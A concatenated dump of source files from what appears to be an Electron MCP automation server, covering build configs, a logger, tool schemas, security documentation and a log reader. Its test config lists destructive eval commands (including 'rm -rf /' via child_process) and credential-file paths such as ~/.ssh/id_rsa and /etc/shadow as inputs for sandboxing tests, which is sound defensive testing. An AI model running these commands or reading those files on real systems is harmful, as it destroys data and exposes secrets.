});

// Global test cleanup that runs once after all tests
afterAll(async () => {
  await GlobalTestSetup.cleanup();
});

// Export commonly used test utilities for easy importing
export { TestHelpers } from './support/helpers';
export { TEST_CONFIG } from './support/config';
export type { TestElectronApp } from './support/helpers';

```

--------------------------------------------------------------------------------
/webpack.config.ts:
--------------------------------------------------------------------------------

```typescript
import path from 'path';
import { Configuration } from 'webpack';
import nodeExternals from 'webpack-node-externals';

const config: Configuration = {
  target: 'node',
  mode: 'production',
  entry: './src/index.ts',
  output: {
    path: path.resolve(process.cwd(), 'dist'),
    filename: 'index.js',
    clean: true,
  },
  resolve: {
    extensions: ['.ts', '.js'],
    modules: ['node_modules', 'src'],
  },
  externals: [nodeExternals({
    allowlist: [/@modelcontextprotocol\/.*/]
  })],
  module: {
    rules: [
      {
        test: /\.ts$/,
        use: 'ts-loader',
        exclude: /node_modules/,
      },
    ],
  },
  optimization: {
    minimize: false, // Keep readable for debugging
  },
  devtool: 'source-map',
};

export default config;

```

--------------------------------------------------------------------------------
/src/utils/project.ts:
--------------------------------------------------------------------------------

```typescript
import { exec } from 'child_process';
import { promisify } from 'util';
import { logger } from './logger';

// Helper function to check if Electron is installed (global or local)
export async function isElectronInstalled(appPath?: string): Promise<boolean> {
  try {
    const execAsync = promisify(exec);

    if (appPath) {
      // Check for local Electron installation in the project
      try {
        await execAsync('npm list electron', { cwd: appPath });
        return true;
      } catch {
        // If local check fails, try global
        logger.warn('Local Electron not found, checking global installation');
      }
    }

    // Check for global Electron installation
    await execAsync('electron --version');
    return true;
  } catch (error) {
    logger.error('Electron not found:', error);
    return false;
  }
}

```

--------------------------------------------------------------------------------
/eslint.config.ts:
--------------------------------------------------------------------------------

```typescript
import js from '@eslint/js';
import globals from 'globals';
import tseslint from 'typescript-eslint';

export default tseslint.config(
  {
    files: ['**/*.{js,mjs,cjs,ts,mts,cts}'],
    languageOptions: {
      globals: {
        ...globals.node,
        ...globals.es2022,
      },
      parserOptions: {
        ecmaVersion: 2022,
        sourceType: 'module',
      },
    },
  },
  js.configs.recommended,
  ...tseslint.configs.recommended,
  {
    rules: {
      '@typescript-eslint/no-explicit-any': 'off',
      '@typescript-eslint/no-unused-vars': [
        'error',
        {
          argsIgnorePattern: '^_',
          varsIgnorePattern: '^_',
          caughtErrorsIgnorePattern: '^_',
        },
      ],
      'no-case-declarations': 'off',
      'prefer-const': 'error',
      'no-var': 'error',
      'no-console': 'warn',
    },
  },
  {
    files: ['test/**/*'],
    rules: {
      '@typescript-eslint/no-explicit-any': 'off',
      'no-console': 'off',
    },
  },
  {
    ignores: ['dist/**', 'coverage/**', 'node_modules/**', '*.config.js'],
  },
);

```

--------------------------------------------------------------------------------
/src/utils/electron-process.ts:
--------------------------------------------------------------------------------

```typescript
import { ChildProcess } from 'child_process';

// Electron process management state
export let electronProcess: ChildProcess | null = null;
export let electronLogs: string[] = [];

/**
 * Set the current Electron process reference
 */
export function setElectronProcess(process: ChildProcess | null): void {
  electronProcess = process;
}

/**
 * Get the current Electron process reference
 */
export function getElectronProcess(): ChildProcess | null {
  return electronProcess;
}

/**
 * Add a log entry to the Electron logs
 */
export function addElectronLog(log: string): void {
  electronLogs.push(log);
  // Keep only the last 1000 logs to prevent memory issues
  if (electronLogs.length > 1000) {
    electronLogs = electronLogs.slice(-1000);
  }
}

/**
 * Get all Electron logs
 */
export function getElectronLogs(): string[] {
  return electronLogs;
}

/**
 * Clear all Electron logs
 */
export function clearElectronLogs(): void {
  electronLogs = [];
}

/**
 * Reset the Electron process state
 */
export function resetElectronProcess(): void {
  electronProcess = null;
  electronLogs = [];
}

```

--------------------------------------------------------------------------------
/vitest.config.ts:
--------------------------------------------------------------------------------

```typescript
import { defineConfig } from 'vitest/config';
import { resolve } from 'path';
import { config } from 'dotenv';

// Load environment variables from .env file
config();

export default defineConfig({
  test: {
    globals: true,
    environment: 'node',
    setupFiles: ['./tests/conftest.ts'],
    include: ['tests/**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'],
    exclude: [
      '**/node_modules/**',
      '**/dist/**',
      '**/cypress/**',
      '**/.{idea,git,cache,output,temp}/**',
      '**/{karma,rollup,webpack,vite,vitest,jest,ava,babel,nyc,cypress,tsup,build}.config.*',
      '**/setup.ts', // Exclude setup file from being run as a test
    ],
    coverage: {
      provider: 'v8',
      reporter: ['text', 'json', 'html'],
      exclude: [
        'node_modules/',
        'test/',
        'dist/',
        'example-app/',
        '**/*.d.ts',
        '**/*.config.*',
        '**/coverage/**',
      ],
    },
    testTimeout: 10000,
    hookTimeout: 10000,
    teardownTimeout: 5000,
  },
  resolve: {
    alias: {
      '@': resolve(__dirname, './src'),
      '@test': resolve(__dirname, './test'),
    },
  },
});

```

--------------------------------------------------------------------------------
/tests/integration/react-compatibility/test-react-electron.cjs:
--------------------------------------------------------------------------------

```
const { app, BrowserWindow } = require('electron');

let mainWindow;

function createWindow() {
  mainWindow = new BrowserWindow({
    width: 900,
    height: 700,
    webPreferences: {
      nodeIntegration: false,
      contextIsolation: true,
      enableRemoteModule: false,
      webSecurity: true
    },
    show: false
  });

  // Load the React test app
  mainWindow.loadFile('react-test-app.html');

  // Show window when ready
  mainWindow.once('ready-to-show', () => {
    mainWindow.show();
  });

  // Open DevTools for debugging
  mainWindow.webContents.openDevTools();

  mainWindow.on('closed', () => {
    mainWindow = null;
  });
}

// Enable remote debugging for MCP server
app.commandLine.appendSwitch('remote-debugging-port', '9222');

app.whenReady().then(() => {
  createWindow();
});

app.on('window-all-closed', () => {
  if (process.platform !== 'darwin') {
    app.quit();
  }
});

app.on('activate', () => {
  if (BrowserWindow.getAllWindows().length === 0) {
    createWindow();
  }
});

// Handle errors silently
process.on('uncaughtException', () => {
  // Handle error silently
});

process.on('unhandledRejection', () => {
  // Handle error silently
});

```

--------------------------------------------------------------------------------
/src/utils/logger.ts:
--------------------------------------------------------------------------------

```typescript
/* eslint-disable no-console */
export enum LogLevel {
  ERROR = 0,
  WARN = 1,
  INFO = 2,
  DEBUG = 3,
}

export class Logger {
  private static instance: Logger;
  private level: LogLevel;

  constructor(level: LogLevel = LogLevel.INFO) {
    this.level = level;
  }

  static getInstance(): Logger {
    if (!Logger.instance) {
      // Check environment variable for log level
      const envLevel = process.env.MCP_LOG_LEVEL?.toUpperCase();
      let level = LogLevel.INFO;

      switch (envLevel) {
        case 'ERROR':
          level = LogLevel.ERROR;
          break;
        case 'WARN':
          level = LogLevel.WARN;
          break;
        case 'INFO':
          level = LogLevel.INFO;
          break;
        case 'DEBUG':
          level = LogLevel.DEBUG;
          break;
      }

      Logger.instance = new Logger(level);
    }
    return Logger.instance;
  }

  setLevel(level: LogLevel) {
    this.level = level;
  }

  error(message: string, ...args: any[]) {
    if (this.level >= LogLevel.ERROR) {
      console.error(`[MCP] ERROR: ${message}`, ...args);
    }
  }

  warn(message: string, ...args: any[]) {
    if (this.level >= LogLevel.WARN) {
      console.error(`[MCP] WARN: ${message}`, ...args);
    }
  }

  info(message: string, ...args: any[]) {
    if (this.level >= LogLevel.INFO) {
      console.error(`[MCP] INFO: ${message}`, ...args);
    }
  }

  debug(message: string, ...args: any[]) {
    if (this.level >= LogLevel.DEBUG) {
      console.error(`[MCP] DEBUG: ${message}`, ...args);
    }
  }

  // Helper method to check if a certain level is enabled
  isEnabled(level: LogLevel): boolean {
    return this.level >= level;
  }
}

// Export singleton instance
export const logger = Logger.getInstance();

```

--------------------------------------------------------------------------------
/tests/support/setup.ts:
--------------------------------------------------------------------------------

```typescript
import { logger } from '../../src/utils/logger';
import { TestHelpers } from './helpers';
import { TEST_CONFIG } from './config';
import { mkdirSync, existsSync } from 'fs';

/**
 * Global test setup and teardown
 * Handles initialization and cleanup that applies to all tests
 */
export class GlobalTestSetup {
  /**
   * Initialize global test environment
   * Called once before all tests run
   */
  static async initialize(): Promise<void> {
    logger.info('🚀 Starting test suite - Global setup');

    try {
      // Ensure test directories exist
      this.ensureTestDirectories();

      // Clean up any leftover artifacts from previous runs
      await TestHelpers.cleanup();

      logger.info('📁 Test resource directories initialized');
    } catch (error) {
      logger.error('Failed to initialize test environment:', error);
      throw error;
    }
  }

  /**
   * Clean up global test environment
   * Called once after all tests complete
   */
  static async cleanup(): Promise<void> {
    logger.info('🏁 Test suite completed - Global cleanup');

    try {
      const { total } = TestHelpers.getCleanupSize();
      const totalMB = (total / (1024 * 1024)).toFixed(2);

      logger.info(`🧹 Cleaning up ${totalMB}MB of test artifacts`);

      // Perform comprehensive cleanup
      await TestHelpers.cleanup({
        removeLogsDir: true,
        removeTempDir: true,
        preserveKeys: false,
      });

      logger.info('✅ Global test cleanup completed successfully');
    } catch (error) {
      logger.error('Failed to cleanup test environment:', error);
      // Don't throw - cleanup failures shouldn't break the test process
    }
  }

  /**
   * Ensure all required test directories exist
   */
  private static ensureTestDirectories(): void {
    Object.values(TEST_CONFIG.PATHS).forEach((dirPath) => {
      if (!existsSync(dirPath)) {
        mkdirSync(dirPath, { recursive: true });
      }
    });
  }
}

```

--------------------------------------------------------------------------------
/tests/unit/security-manager.test.ts:
--------------------------------------------------------------------------------

```typescript
import { describe, it, expect, beforeEach } from 'vitest';
import { SecurityManager } from '../../src/security/manager';
import { SecurityLevel } from '../../src/security/config';
import { TEST_CONFIG } from '../conftest';

describe('SecurityManager Unit Tests', () => {
  describe('shouldSandboxCommand', () => {
    let securityManager: SecurityManager;

    beforeEach(() => {
      securityManager = new SecurityManager();
    });

    it('should sandbox risky commands', () => {
      TEST_CONFIG.SECURITY.RISKY_COMMANDS.forEach((command) => {
        const result = securityManager.shouldSandboxCommand(command);
        expect(result).toBe(true);
      });
    });

    it('should not sandbox simple command names', () => {
      const simpleCommands = ['get_window_info', 'take_screenshot', 'get_title', 'get_url'];

      simpleCommands.forEach((command) => {
        const result = securityManager.shouldSandboxCommand(command);
        expect(result).toBe(false);
      });
    });

    it('should cache results for performance', () => {
      const command = 'test_command';

      // First call
      const result1 = securityManager.shouldSandboxCommand(command);

      // Second call should use cache
      const result2 = securityManager.shouldSandboxCommand(command);

      expect(result1).toBe(result2);
    });
  });

  describe('Security Level Configuration', () => {
    it('should default to BALANCED security level', () => {
      const securityManager = new SecurityManager();
      expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.BALANCED);
    });

    it('should allow security level changes', () => {
      const securityManager = new SecurityManager();

      securityManager.setSecurityLevel(SecurityLevel.PERMISSIVE);
      expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.PERMISSIVE);

      securityManager.setSecurityLevel(SecurityLevel.STRICT);
      expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.STRICT);
    });
  });
});

```

--------------------------------------------------------------------------------
/tests/support/config.ts:
--------------------------------------------------------------------------------

```typescript
import path from 'path';

/**
 * Centralized test configuration
 * Contains all test constants, paths, and configuration values
 */
export const TEST_CONFIG = {
  // Test resource directories
  PATHS: {
    TEMP_DIR: path.join(process.cwd(), 'temp'),
    TEST_TEMP_DIR: path.join(process.cwd(), 'test-temp'),
    LOGS_DIR: path.join(process.cwd(), 'logs'),
    ELECTRON_APPS_DIR: path.join(process.cwd(), 'temp', 'electron-apps'),
  },

  // Test timeouts and limits
  TIMEOUTS: {
    ELECTRON_START: 10000,
    SCREENSHOT_CAPTURE: 5000,
    DEFAULT_TEST: 30000,
  },

  // Security test data
  SECURITY: {
    RISKY_COMMANDS: [
      'eval:require("fs").writeFileSync("/tmp/test", "malicious")',
      'eval:process.exit(1)',
      'eval:require("child_process").exec("rm -rf /")',
      'eval:Function("return process")().exit(1)',
      'eval:window.location = "javascript:alert(1)"',
      'eval:document.write("<script>alert(1)</script>")',
    ],
    MALICIOUS_PATHS: [
      '../../../etc/passwd',
      '/etc/shadow',
      '~/.ssh/id_rsa',
      'C:\\Windows\\System32\\config\\SAM',
      '/var/log/auth.log',
      '~/.bashrc',
    ],
  },

  // Electron test app configuration
  ELECTRON: {
    DEFAULT_PORT_RANGE: [9300, 9400],
    WINDOW_TITLE: 'Test Electron App',
    HTML_CONTENT: `
      <!DOCTYPE html>
      <html>
      <head>
        <title>Test Electron App</title>
      </head>
      <body>
        <h1>Test Application</h1>
        <button id="test-button">Test Button</button>
        <input id="test-input" placeholder="Test input" />
        <select id="test-select">
          <option value="option1">Option 1</option>
          <option value="option2">Option 2</option>
        </select>
      </body>
      </html>
    `,
  },
} as const;

/**
 * Create a test-specific temporary directory path
 */
export function createTestTempPath(testName?: string): string {
  const timestamp = Date.now();
  const suffix = testName ? `-${testName.replace(/[^a-zA-Z0-9]/g, '-')}` : '';
  return path.join(TEST_CONFIG.PATHS.TEST_TEMP_DIR, `test-${timestamp}${suffix}`);
}

/**
 * Create an Electron app directory path
 */
export function createElectronAppPath(port: number): string {
  return path.join(TEST_CONFIG.PATHS.ELECTRON_APPS_DIR, `test-electron-${Date.now()}-${port}`);
}

```

--------------------------------------------------------------------------------
/src/schemas.ts:
--------------------------------------------------------------------------------

```typescript
import { z } from 'zod';

// Command arguments schema for better type safety and documentation
export const CommandArgsSchema = z
  .object({
    selector: z
      .string()
      .optional()
      .describe(
        'CSS selector for targeting elements (required for click_by_selector, click_button)',
      ),
    text: z
      .string()
      .optional()
      .describe(
        'Text content for searching or keyboard input (required for click_by_text, send_keyboard_shortcut)',
      ),
    value: z
      .string()
      .optional()
      .describe('Value to input into form fields (required for fill_input)'),
    placeholder: z
      .string()
      .optional()
      .describe(
        'Placeholder text to identify input fields (alternative to selector for fill_input)',
      ),
    message: z.string().optional().describe('Message or content for specific commands'),
    code: z.string().optional().describe('JavaScript code to execute (for eval command)'),
  })
  .describe('Command-specific arguments. Structure depends on the command being executed.');

// Schema definitions for tool inputs
export const SendCommandToElectronSchema = z.object({
  command: z.string().describe('Command to send to the Electron process'),
  args: CommandArgsSchema.optional().describe(
    'Arguments for the command - must be an object with appropriate properties based on the command type',
  ),
});

export const TakeScreenshotSchema = z.object({
  outputPath: z
    .string()
    .optional()
    .describe('Path to save the screenshot (optional, defaults to temp directory)'),
  windowTitle: z.string().optional().describe('Specific window title to screenshot (optional)'),
});

export const ReadElectronLogsSchema = z.object({
  logType: z
    .enum(['console', 'main', 'renderer', 'all'])
    .optional()
    .describe('Type of logs to read'),
  lines: z.number().optional().describe('Number of recent lines to read (default: 100)'),
  follow: z.boolean().optional().describe('Whether to follow/tail the logs'),
});

export const GetElectronWindowInfoSchema = z.object({
  includeChildren: z.boolean().optional().describe('Include child windows information'),
});

// Type helper for tool input schema
export type ToolInput = {
  type: 'object';
  properties: Record<string, any>;
  required?: string[];
};

```

--------------------------------------------------------------------------------
/SECURITY_CONFIG.md:
--------------------------------------------------------------------------------

```markdown
# MCP Security Configuration

The MCP Electron server uses a **BALANCED** security level that provides an optimal balance between security and functionality.

## Security Level: BALANCED (Default)

The server automatically uses the BALANCED security level, which:

- Allows safe UI interactions and DOM queries
- Blocks dangerous operations like eval and assignments
- Provides good balance between security and functionality
- Cannot be overridden by environment variables for security consistency

## Security Features

- ✅ Safe UI interactions (clicking, focusing elements)
- ✅ DOM queries (reading element properties)
- ✅ Property access (reading values)
- ❌ Assignment operations (security risk)
- ❌ Function calls in eval (injection risk)
- ❌ Constructor calls (potential exploit vector)

## Usage Examples

Based on your logs, you want to interact with UI elements. Use these secure commands instead of raw eval:

### ✅ Secure Ways to Interact:

```javascript
// Instead of: document.querySelector('button').click()
command: 'click_by_selector';
args: {
  selector: "button[title='Create New Encyclopedia']";
}

// Instead of: document.querySelector('[title="Create New Encyclopedia"]').click()
command: 'click_by_text';
args: {
  text: 'Create New Encyclopedia';
}

// Instead of: location.hash = '#create'
command: 'navigate_to_hash';
args: {
  text: 'create';
}

// Instead of: new KeyboardEvent('keydown', {...})
command: 'send_keyboard_shortcut';
args: {
  text: 'Ctrl+N';
}
```

### ❌ What Gets Blocked (and why):

```javascript
// ❌ Raw function calls in eval
document.querySelector('[title="Create New Encyclopedia"]').click();
// Reason: Function calls are restricted for security

// ❌ Assignment operations
location.hash = '#create';
// Reason: Assignment operations can be dangerous

// ❌ Constructor calls
new KeyboardEvent('keydown', { key: 'n', metaKey: true });
// Reason: Constructor calls can be used for code injection
```

## Configuration in Code

The security level is automatically set to BALANCED and cannot be changed:

```typescript
import { SecurityManager } from './security/manager';

// SecurityManager automatically uses BALANCED security level
const securityManager = new SecurityManager();

// Security level is fixed and cannot be changed at runtime
// This ensures consistent security across all deployments
```

```

--------------------------------------------------------------------------------
/src/index.ts:
--------------------------------------------------------------------------------

```typescript
#!/usr/bin/env node

// Load environment variables from .env file
import { config } from 'dotenv';
import { Server } from '@modelcontextprotocol/sdk/server/index';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio';
import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types';
import { tools } from './tools';
import { handleToolCall } from './handlers';
import { logger } from './utils/logger';

config();

// Create MCP server instance
const server = new Server(
  {
    name: 'electron-mcp-server',
    version: '1.0.0',
  },
  {
    capabilities: {
      tools: {},
    },
  },
);

// List available tools
server.setRequestHandler(ListToolsRequestSchema, async () => {
  logger.debug('Listing tools request received');
  return { tools };
});

// Handle tool execution
server.setRequestHandler(CallToolRequestSchema, async (request) => {
  const start = Date.now();

  logger.info(`Tool call: ${request.params.name}`);
  logger.debug(`Tool call args:`, JSON.stringify(request.params.arguments, null, 2));

  const result = await handleToolCall(request);

  const duration = Date.now() - start;
  if (duration > 1000) {
    logger.warn(`Slow tool execution: ${request.params.name} took ${duration}ms`);
  }

  // Log result but truncate large base64 data to avoid spam
  if (logger.isEnabled(2)) {
    // Only if DEBUG level
    const logResult = { ...result };
    if (logResult.content && Array.isArray(logResult.content)) {
      logResult.content = logResult.content.map((item: any) => {
        if (
          item.type === 'text' &&
          item.text &&
          typeof item.text === 'string' &&
          item.text.length > 1000
        ) {
          return {
            ...item,
            text: item.text.substring(0, 100) + '... [truncated]',
          };
        }
        if (
          item.type === 'image' &&
          item.data &&
          typeof item.data === 'string' &&
          item.data.length > 100
        ) {
          return {
            ...item,
            data: item.data.substring(0, 50) + '... [base64 truncated]',
          };
        }
        return item;
      });
    }

    logger.debug(`Tool call result:`, JSON.stringify(logResult, null, 2));
  }

  return result;
});

// Start the server
async function main() {
  const transport = new StdioServerTransport();
  logger.info('Electron MCP Server starting...');
  await server.connect(transport);
  logger.info('Electron MCP Server running on stdio');
  logger.info('Available tools:', tools.map((t) => t.name).join(', '));
}

main().catch((error) => {
  logger.error('Server error:', error);
  process.exit(1);
});

```

--------------------------------------------------------------------------------
/src/tools.ts:
--------------------------------------------------------------------------------

```typescript
import { zodToJsonSchema } from 'zod-to-json-schema';
import {
  SendCommandToElectronSchema,
  TakeScreenshotSchema,
  ReadElectronLogsSchema,
  GetElectronWindowInfoSchema,
  ToolInput,
} from './schemas';

// Tool name enumeration
export enum ToolName {
  SEND_COMMAND_TO_ELECTRON = 'send_command_to_electron',
  TAKE_SCREENSHOT = 'take_screenshot',
  READ_ELECTRON_LOGS = 'read_electron_logs',
  GET_ELECTRON_WINDOW_INFO = 'get_electron_window_info',
}

// Define tools available to the MCP server
export const tools = [
  {
    name: ToolName.GET_ELECTRON_WINDOW_INFO,
    description:
      'Get information about running Electron applications and their windows. Automatically detects any Electron app with remote debugging enabled (port 9222).',
    inputSchema: zodToJsonSchema(GetElectronWindowInfoSchema) as ToolInput,
  },
  {
    name: ToolName.TAKE_SCREENSHOT,
    description:
      'Take a screenshot of any running Electron application window. Returns base64 image data for AI analysis. No files created unless outputPath is specified.',
    inputSchema: zodToJsonSchema(TakeScreenshotSchema) as ToolInput,
  },
  {
    name: ToolName.SEND_COMMAND_TO_ELECTRON,
    description: `Send JavaScript commands to any running Electron application via Chrome DevTools Protocol. 

Enhanced UI interaction commands:
- 'find_elements': Analyze all interactive elements (buttons, inputs, selects) with their properties
- 'click_by_text': Click elements by their visible text, aria-label, or title
- 'click_by_selector': Securely click elements by CSS selector
- 'fill_input': Fill input fields by selector, placeholder text, or associated label
- 'select_option': Select dropdown options by value or text
- 'send_keyboard_shortcut': Send keyboard shortcuts like 'Ctrl+N', 'Meta+N', 'Enter', 'Escape'
- 'navigate_to_hash': Safely navigate to hash routes (e.g., '#create', '#settings')
- 'get_page_structure': Get organized overview of page elements (buttons, inputs, selects, links)
- 'debug_elements': Get debugging info about buttons and form elements on the page
- 'verify_form_state': Check current form state and validation status
- 'get_title', 'get_url', 'get_body_text': Basic page information
- 'eval': Execute custom JavaScript code with enhanced error reporting

IMPORTANT: Arguments must be passed as an object with the correct properties:

Examples:
- click_by_selector: {"selector": "button.submit-btn"}
- click_by_text: {"text": "Submit"}
- fill_input: {"placeholder": "Enter name", "value": "John Doe"}
- fill_input: {"selector": "#email", "value": "[email protected]"}
- send_keyboard_shortcut: {"text": "Enter"}
- eval: {"code": "document.title"}

Use 'get_page_structure' or 'debug_elements' first to understand available elements, then use specific interaction commands.`,
    inputSchema: zodToJsonSchema(SendCommandToElectronSchema) as ToolInput,
  },
  {
    name: ToolName.READ_ELECTRON_LOGS,
    description:
      'Read console logs and output from running Electron applications. Useful for debugging and monitoring app behavior.',
    inputSchema: zodToJsonSchema(ReadElectronLogsSchema) as ToolInput,
  },
];

```

--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------

```json
{
  "name": "electron-mcp-server",
  "version": "1.5.0",
  "description": "MCP server for Electron application automation and management. See MCP_USAGE_GUIDE.md for proper argument structure examples.",
  "main": "dist/index.js",
  "bin": {
    "electron-mcp-server": "dist/index.js"
  },
  "scripts": {
    "build": "webpack --config webpack.config.ts --mode production",
    "build:dev": "webpack --config webpack.config.ts --mode development",
    "dev": "tsx src/index.ts",
    "dev:watch": "tsx --watch src/index.ts",
    "start": "node dist/index.js",
    "watch": "webpack --config webpack.config.ts --mode development --watch",
    "watch-and-serve": "webpack --config webpack.config.ts --mode development --watch & node --watch dist/index.js",
    "prepare": "npm run build",
    "test": "vitest run",
    "test:watch": "vitest",
    "test:ui": "vitest --ui",
    "test:react": "cd tests/integration/react-compatibility && electron test-react-electron.cjs",
    "test:coverage": "vitest run --coverage",
    "test:security": "npm run build && node test/security-test.js",
    "test:clean": "tsx -e \"import('./test/utils/cleanup.js').then(m => m.TestCleanup.cleanup())\"",
    "lint": "eslint src/**/*.ts",
    "lint:fix": "eslint src/**/*.ts --fix",
    "format": "prettier --write \"src/**/*.{ts,js,json,md}\"",
    "format:check": "prettier --check \"src/**/*.{ts,js,json,md}\"",
    "code:check": "npm run lint && npm run format:check",
    "code:fix": "npm run lint:fix && npm run format"
  },
  "keywords": [
    "mcp",
    "electron",
    "automation",
    "desktop",
    "model-context-protocol",
    "devtools",
    "testing",
    "ai",
    "chrome-devtools-protocol",
    "screenshot",
    "electron-automation"
  ],
  "author": "Halil Ural",
  "license": "MIT",
  "dependencies": {
    "@modelcontextprotocol/sdk": "^1.0.0",
    "@types/ws": "^8.18.1",
    "dotenv": "^17.2.1",
    "electron": "^28.0.0",
    "playwright": "^1.54.1",
    "ws": "^8.18.3",
    "zod": "^3.22.4",
    "zod-to-json-schema": "^3.22.4"
  },
  "devDependencies": {
    "@eslint/js": "^9.32.0",
    "@types/node": "^20.19.10",
    "@types/webpack": "^5.28.5",
    "@types/webpack-node-externals": "^3.0.4",
    "@typescript-eslint/eslint-plugin": "^8.38.0",
    "@typescript-eslint/parser": "^8.38.0",
    "@vitest/coverage-v8": "^3.2.4",
    "@vitest/ui": "^3.2.4",
    "eslint": "^9.32.0",
    "globals": "^16.3.0",
    "jest": "^29.0.0",
    "jiti": "^2.5.1",
    "prettier": "^3.6.2",
    "ts-jest": "^29.0.0",
    "ts-loader": "^9.5.2",
    "ts-node": "^10.9.2",
    "tsx": "^4.6.0",
    "typescript": "^5.8.3",
    "typescript-eslint": "^8.38.0",
    "vitest": "^3.2.4",
    "webpack": "^5.101.0",
    "webpack-cli": "^6.0.1",
    "webpack-node-externals": "^3.0.0"
  },
  "files": [
    "dist",
    "README.md",
    "LICENSE"
  ],
  "engines": {
    "node": ">=18.0.0"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/halilural/electron-mcp-server.git"
  },
  "bugs": {
    "url": "https://github.com/halilural/electron-mcp-server/issues"
  },
  "homepage": "https://github.com/halilural/electron-mcp-server#readme"
}

```

--------------------------------------------------------------------------------
/mcp-config.json:
--------------------------------------------------------------------------------

```json
{
  "name": "electron-mcp-server",
  "description": "Model Context Protocol server for Electron application management",
  "version": "1.0.0",
  "usage": {
    "claude_desktop": {
      "config_path": "~/Library/Application Support/Claude/claude_desktop_config.json",
      "config": {
        "mcpServers": {
          "electron": {
            "command": "npx",
            "args": ["-y", "electron-mcp-server"]
          }
        }
      }
    },
    "vscode": {
      "config": {
        "mcp": {
          "servers": {
            "electron": {
              "command": "npx",
              "args": ["-y", "electron-mcp-server"]
            }
          }
        }
      }
    }
  },
  "tools": [
    {
      "name": "launch_electron_app",
      "description": "Launch an Electron application from a specified path",
      "parameters": {
        "appPath": {
          "type": "string",
          "description": "Path to the Electron application",
          "required": true
        },
        "args": {
          "type": "array",
          "description": "Additional command line arguments",
          "required": false
        },
        "devMode": {
          "type": "boolean",
          "description": "Launch in development mode with debugging",
          "required": false
        }
      }
    },
    {
      "name": "close_electron_app",
      "description": "Close the currently running Electron application",
      "parameters": {
        "force": {
          "type": "boolean",
          "description": "Force close the application if unresponsive",
          "required": false
        }
      }
    },
    {
      "name": "get_electron_info",
      "description": "Get information about the Electron installation and environment",
      "parameters": {}
    },
    {
      "name": "create_electron_project",
      "description": "Create a new Electron project with a basic structure",
      "parameters": {
        "projectName": {
          "type": "string",
          "description": "Name of the new project",
          "required": true
        },
        "projectPath": {
          "type": "string",
          "description": "Directory where to create the project",
          "required": true
        },
        "template": {
          "type": "string",
          "description": "Project template (basic, react, vue, angular)",
          "required": false,
          "default": "basic"
        }
      }
    },
    {
      "name": "build_electron_app",
      "description": "Build an Electron application for distribution",
      "parameters": {
        "projectPath": {
          "type": "string",
          "description": "Path to the Electron project",
          "required": true
        },
        "platform": {
          "type": "string",
          "description": "Target platform (win32, darwin, linux)",
          "required": false
        },
        "arch": {
          "type": "string",
          "description": "Target architecture (x64, arm64, ia32)",
          "required": false
        },
        "debug": {
          "type": "boolean",
          "description": "Build in debug mode",
          "required": false
        }
      }
    },
    {
      "name": "get_electron_process_info",
      "description": "Get information about the currently running Electron process",
      "parameters": {}
    },
    {
      "name": "send_command_to_electron",
      "description": "Send commands to the running Electron application (requires IPC setup)",
      "parameters": {
        "command": {
          "type": "string",
          "description": "Command to send",
          "required": true
        },
        "args": {
          "type": "any",
          "description": "Command arguments",
          "required": false
        }
      }
    }
  ]
}

```

--------------------------------------------------------------------------------
/src/utils/electron-logs.ts:
--------------------------------------------------------------------------------

```typescript
import { exec } from 'child_process';
import { promisify } from 'util';
import { findElectronTarget, connectForLogs } from './electron-connection';
import { logger } from './logger';

export type LogType = 'console' | 'main' | 'renderer' | 'all';

export interface LogEntry {
  timestamp: string;
  level: string;
  message: string;
  source: 'console' | 'system';
}

/**
 * Read logs from running Electron applications
 */
export async function readElectronLogs(
  logType: LogType = 'all',
  lines: number = 100,
  follow: boolean = false,
): Promise<string> {
  try {
    logger.info('[MCP] Looking for running Electron applications for log access...');

    try {
      const target = await findElectronTarget();

      // Connect via WebSocket to get console logs
      if (logType === 'console' || logType === 'all') {
        return await getConsoleLogsViaDevTools(target, lines, follow);
      }
    } catch {
      logger.info('[MCP] No DevTools connection found, checking system logs...');
    }

    // Fallback to system logs if DevTools not available
    return await getSystemElectronLogs(lines);
  } catch (error) {
    throw new Error(
      `Failed to read logs: ${error instanceof Error ? error.message : String(error)}`,
    );
  }
}

/**
 * Get console logs via Chrome DevTools Protocol
 */
async function getConsoleLogsViaDevTools(
  target: any,
  lines: number,
  follow: boolean,
): Promise<string> {
  const logs: string[] = [];

  return new Promise((resolve, reject) => {
    (async () => {
      try {
        const ws = await connectForLogs(target, (log: string) => {
          logs.push(log);
          if (logs.length >= lines && !follow) {
            ws.close();
            resolve(logs.slice(-lines).join('\n'));
          }
        });

        // For non-follow mode, try to get console history first
        if (!follow) {
          // Request console API calls from Runtime
          ws.send(
            JSON.stringify({
              id: 99,
              method: 'Runtime.evaluate',
              params: {
                expression: `console.log("Reading console history for MCP test"); "History checked"`,
                includeCommandLineAPI: true,
              },
            }),
          );

          // Wait longer for logs to be captured and history to be available
          setTimeout(() => {
            ws.close();
            resolve(logs.length > 0 ? logs.slice(-lines).join('\n') : 'No console logs available');
          }, 7000); // Increased timeout to 7 seconds
        }
      } catch (error) {
        reject(error);
      }
    })();
  });
}

/**
 * Get system logs for Electron processes
 */
async function getSystemElectronLogs(lines: number = 100): Promise<string> {
  logger.info('[MCP] Reading system logs for Electron processes...');

  try {
    const execAsync = promisify(exec);

    // Get running Electron processes
    const { stdout } = await execAsync('ps aux | grep -i electron | grep -v grep');
    const electronProcesses = stdout
      .trim()
      .split('\n')
      .filter((line) => line.length > 0);

    if (electronProcesses.length === 0) {
      return 'No Electron processes found running on the system.';
    }

    let logOutput = `Found ${electronProcesses.length} Electron process(es):\n\n`;

    electronProcesses.forEach((process, index) => {
      const parts = process.trim().split(/\s+/);
      const pid = parts[1];
      const command = parts.slice(10).join(' ');
      logOutput += `Process ${index + 1}:\n`;
      logOutput += `  PID: ${pid}\n`;
      logOutput += `  Command: ${command}\n\n`;
    });

    try {
      const { stdout: logContent } = await execAsync(
        `log show --last 1h --predicate 'process == "Electron"' --style compact | tail -${lines}`,
      );
      if (logContent.trim()) {
        logOutput += 'Recent Electron logs from system:\n';
        logOutput += '==========================================\n';
        logOutput += logContent;
      } else {
        logOutput +=
